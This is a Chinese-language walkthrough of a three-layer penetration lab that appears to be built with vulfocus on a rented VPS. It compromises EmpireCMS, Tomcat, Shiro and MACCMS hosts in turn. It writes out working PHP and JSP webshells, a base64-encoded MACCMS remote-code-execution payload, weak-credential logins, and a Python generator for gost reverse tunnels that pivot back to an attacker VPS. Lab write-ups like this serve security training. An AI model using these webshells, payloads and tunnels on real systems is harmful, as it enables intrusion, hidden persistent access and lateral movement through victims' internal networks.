前言:
(1)该靶机需要自行搭建vulfocus场景,需要购买VPS,搭建靶机过程详见参考文献1
(2)软件环境:蚁剑、MobaXterm、Brupsuit、SwitchOmega浏览器插件自行下载;反序列化利用工具、gost文件2详见参考文献。
正文:
渗透过程一览图:
1、渗透第一层主机
访问47.115.213.226
(每人VPS分得的地址不一样),可以看到empirecms
字样,搜索到这是帝国cms empirecms 文件上传漏洞3(CVE-2018-18086)
(1)访问帝国网站管理系统后台地址
/empirecms/e/admin/index.php
(2)通过弱口令 admin/123456
进入后台
(3)新建php文件,写入代码如下:
<?php file_put_contents("shellc.php","<?php @eval(\$_POST[cmd]); ?>");?>
其中, “\ ”为转义字符,这段代码的意思就是, 将phpshell命令写入到 shellc.php
(4)然后找到“系统——管理数据表——导入系统模型
”,把刚才的代码文件传上去。
将该 shellc.php 文件重命名为shell.php.mod
,数据表名改为test1
,点击马上导入
此时会提示“连接已重置”
(5)用蚁键连接测试,成功登录。
(6)上传 gost文件 到 tmp
目录下
(7)通过命令chmod +x gost
为执行gost文件提权
(8)通过命令ip addr
,找到该主机192.171.10.1/24
的内网地址段,为第一层。
(9)利用python脚本 输出对一层主机代理的命令提示
代理提示.py如下:
#coding:utf8
n = input("请输入你要穿透的层数:")
if n == '1':
vps_ip = input("请输入你的VPS的IP:")
bj1_ip = input("请输入一层靶机的IP:")
port_s = input("请输入一个起始端口:")
i_port = int(port_s)
cmdlist = {}
cmdlist["bj1"] = []
cmd1 = "./gost -L socks5://:%s"%(i_port)
cmd2 = "./gost -L rtcp://0.0.0.0:%s/localhost:%s -F socks5://%s:%s"%(i_port-2,i_port,vps_ip,i_port-1)
cmdlist["bj1"].append(cmd1)
cmdlist["bj1"].append(cmd2)
cmdlist["vps"] = []
cmd3 = "./gost -L socks5://:%s?bind=true"%(i_port-1)
cmdlist["vps"].append(cmd3)
print("[1]vps的操作指令:")
print("\t"+cmdlist["vps"][0])
print("[2]一层靶机的操作指令:")
print("\t"+cmdlist["bj1"][0])
print("\t"+cmdlist["bj1"][1])
print("[*]代理IP:%s,代理端口:%s"%(vps_ip,i_port-2))
if n == '2':
vps_ip = input("请输入你的VPS的IP:")
bj1_ip = input("请输入一层靶机的IP:")
bj2_ip = input("请输入二层靶机的IP:")
port_s = input("请输入一个起始端口:")
i_port = int(port_s)
cmdlist = {}
cmdlist["bj2"] = []
cmd1 = "./gost -L socks5://:%s"%(i_port)
cmd2 = "./gost -L rtcp://0.0.0.0:%s/localhost:%s -F socks5://%s:%s"%(i_port-2,i_port,bj1_ip,i_port-1)
cmdlist["bj2"].append(cmd1)
cmdlist["bj2"].append(cmd2)
cmdlist["bj1"] = []
cmd3 = "./gost -L socks5://:%s?bind=true"%(i_port-1)
cmd4 = "./gost -L rtcp://0.0.0.0:%s/localhost:%s -F socks5://%s:%s"%(i_port-4,i_port-2,vps_ip,i_port-3)
cmdlist["bj1"].append(cmd3)
cmdlist["bj1"].append(cmd4)
cmdlist["vps"] = []
cmd3 = "./gost -L socks5://:%s?bind=true"%(i_port-3)
cmdlist["vps"].append(cmd3)
print("[1]vps的操作指令:")
print("\t"+cmdlist["vps"][0])
print("[2]一层靶机的操作指令:")
print("\t"+cmdlist["bj1"][0])
print("\t"+cmdlist["bj1"][1])
print("[3]二层靶机的操作指令:")
print("\t"+cmdlist["bj2"][0])
print("\t"+cmdlist["bj2"][1])
print("[*]代理IP:%s,代理端口:%s"%(vps_ip,i_port-4))
if n == '3':
vps_ip = input("请输入你的VPS的IP:")
bj1_ip = input("请输入一层靶机的IP:")
bj2_ip = input("请输入二层靶机的IP:")
bj3_ip = input("请输入三层靶机的IP:")
port_s = input("请输入一个起始端口:")
i_port = int(port_s)
cmdlist = {}
cmdlist["bj3"] = []
cmd1 = "./gost -L socks5://:%s"%(i_port)
cmd2 = "./gost -L rtcp://0.0.0.0:%s/localhost:%s -F socks5://%s:%s"%(i_port-2,i_port,bj2_ip,i_port-1)
cmdlist["bj3"].append(cmd1)
cmdlist["bj3"].append(cmd2)
cmdlist["bj2"] = []
cmd3 = "./gost -L socks5://:%s?bind=true"%(i_port-1)
cmd4 = "./gost -L rtcp://0.0.0.0:%s/localhost:%s -F socks5://%s:%s"%(i_port-4,i_port-2,bj1_ip,i_port-3)
cmdlist["bj2"].append(cmd3)
cmdlist["bj2"].append(cmd4)
cmdlist["bj1"] = []
cmd5 = "./gost -L socks5://:%s?bind=true"%(i_port-3)
cmd6 = "./gost -L rtcp://0.0.0.0:%s/localhost:%s -F socks5://%s:%s"%(i_port-6,i_port-4,vps_ip,i_port-5)
cmdlist["bj1"].append(cmd5)
cmdlist["bj1"].append(cmd6)
cmdlist["vps"] = []
cmd3 = "./gost -L socks5://:%s?bind=true"%(i_port-5)
cmdlist["vps"].append(cmd3)
print("[1]vps的操作指令:")
print("\t"+cmdlist["vps"][0])
print("[2]一层靶机的操作指令:")
print("\t"+cmdlist["bj1"][0])
print("\t"+cmdlist["bj1"][1])
print("[3]二层靶机的操作指令:")
print("\t"+cmdlist["bj2"][0])
print("\t"+cmdlist["bj2"][1])
print("[4]三层靶机的操作指令:")
print("\t"+cmdlist["bj3"][0])
print("\t"+cmdlist["bj3"][1])
print("[*]代理IP:%s,代理端口:%s"%(vps_ip,i_port-6))
(10)由上图可知,通过SSH远程登陆后,在你购买的vps47.115.213.226
里,粘贴【1】vps的操作命令:
(11)回到蚁剑连接的47.115.213.226
主机中,粘贴【2】一层靶机的操作命令:
(12)打开谷歌浏览器,通过SwitchOmega浏览器插件
新建一个代理。粘贴 上述python脚本 的最后一条。 记得点击左下角的应用选项
。
(13)登录内网地址192.171.10.2:8080
,登录成功 (图文不符,请忽略)
此时渗透阶段如下:
(14)通过上传fscan工具,扫描后确认192.171.10.2:8080
该网站存在tomcat弱口令漏洞4
通过弱口令登录平台,账号密码均为:tomcat
(15)新建1.jsp文件
,代码如下,其中,密码为passwd
:
<%!
class U extends ClassLoader {
U(ClassLoader c) {
super(c);
}
public Class g(byte[] b) {
return super.defineClass(b, 0, b.length);
}
}
public byte[] base64Decode(String str) throws Exception {
try {
Class clazz = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
} catch (Exception e) {
Class clazz = Class.forName("java.util.Base64");
Object decoder = clazz.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
}
}
%>
<%
String cls = request.getParameter("passwd");
if (cls != null) {
new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);
}
%>
(16)将该jsp文件打成zip压缩包
,然后重命名为1.war
(17)拖动192.171.10.2:8080
页面,找到war上传区域,上传1.war
木马
(18)蚁剑配置第一层代理
(19)测试连接刚才写的1.jsp脚本
(20)在192.171.10.2
主机中执行 第一层的步骤(6)、(7)、(8) ,注意, gost文件要传入192.171.10.2
主机/home
目录下,传完后执行提权操作。这里发现第二层地址段192.172.20.2/24
(21)利用上述python脚本 ,输出渗透第二层主机命令提示。
2、渗透第二层主机
(1)按照上述python脚本输出的第二层代理配置提示,更新 第一层的步骤(10)、(11)
通过SSH连接的vps47.115.213.226
:
公网主机47.115.213.226
:
第一层主机
192.171.10.2
配置如下:(其实是同一个主机,这个主机是个双网卡,一张卡是公网47.115.213.226
、一张卡是内网192.171.10.2
。方便理解,我就说成层了,python代码提示的第二层靶机的操作,其实是把公网主机当做了第一层靶机,第一层主机当做了第二层靶机,所以粘贴的时候要一一对应):
新建浏览器代理:
后面渗透第三层主机时,vps、公网主机、第一层主机、第二层主机、第三层主机、浏览器代理配置就按照上述python脚本输出提示粘贴执行即可,不再赘述。
(2)成功访问到第二层主机
此时渗透阶段如下:
(3)通过fscan扫描,发现第二层192.172.20.1:8080
存在shiro反序列化利用漏洞
(4)我们直接利用反序列化利用工具5,需要先把代理配置好( 该工具需要java8运行环境,记得配置环境变量,真坑 )
(5)爆破密钥、爆破利用链及回显
(6)执行注入脚本,复制下地址,到蚁剑验证下。
(7)把蚁剑代理更新一下
(8)脚本登录成功
(9)上传 gost文件到192.172.20.1的/tmp
目录上。给文件提权。详见第一层的操作
(10)在第二层192.172.20.1
主机中扫描到第三层地址段10.11.10.2/24
(详见第一层的操作)。
(11)用上述python脚本输出第三层代理配置提示
3、渗透第三层主机
(1)这里不赘述,复制上述代码到vps、公网主机、第一层主机、第二层主机、浏览器代理中。
vps配置:
公网主机配置:
第一层主机配置:
第二层主机配置:
浏览器配置:
(2)成功访问到网页10.11.10.1:80
上。
此时渗透阶段如下:
经过fscan扫描,确认该网站存在MACCMS 远程命令执行漏洞6(CVE-2017-17733)
(3)给Brupsuit抓包工具配置代理
(4)上传一句话木马payload
:
wd={if-A:print(fputs(fopen(base64_decode(c.php),w),base64_decode(<?php @eval($_POST[c]); ?>1)))}{endif-A}
该payload大概意为创建一个c.php文件,并写入一句话木马。
代码里还有一个字符“1”,说明我们上传payload并访问c.php文件时,前面的php当作代码执行,剩下1输出到网页中。
所以如果我们能看到字符1,那就说明上传成功,接下来用蚁剑连接即可。
为了防止服务器过滤,这段代码得通过base64编码后以POST形式发送:
wd={if-A:print(fputs%28fopen%28base64_decode%28Yy5waHA%29,w%29,base64_decode%28PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz4x%29%29)}{endif-A}
(5)抓包,重定向,构造一句话木马payload
请求头,发包,成功。
(6)浏览器能访问
(7)蚁剑配置第三层代理
(8)拿下第三层主机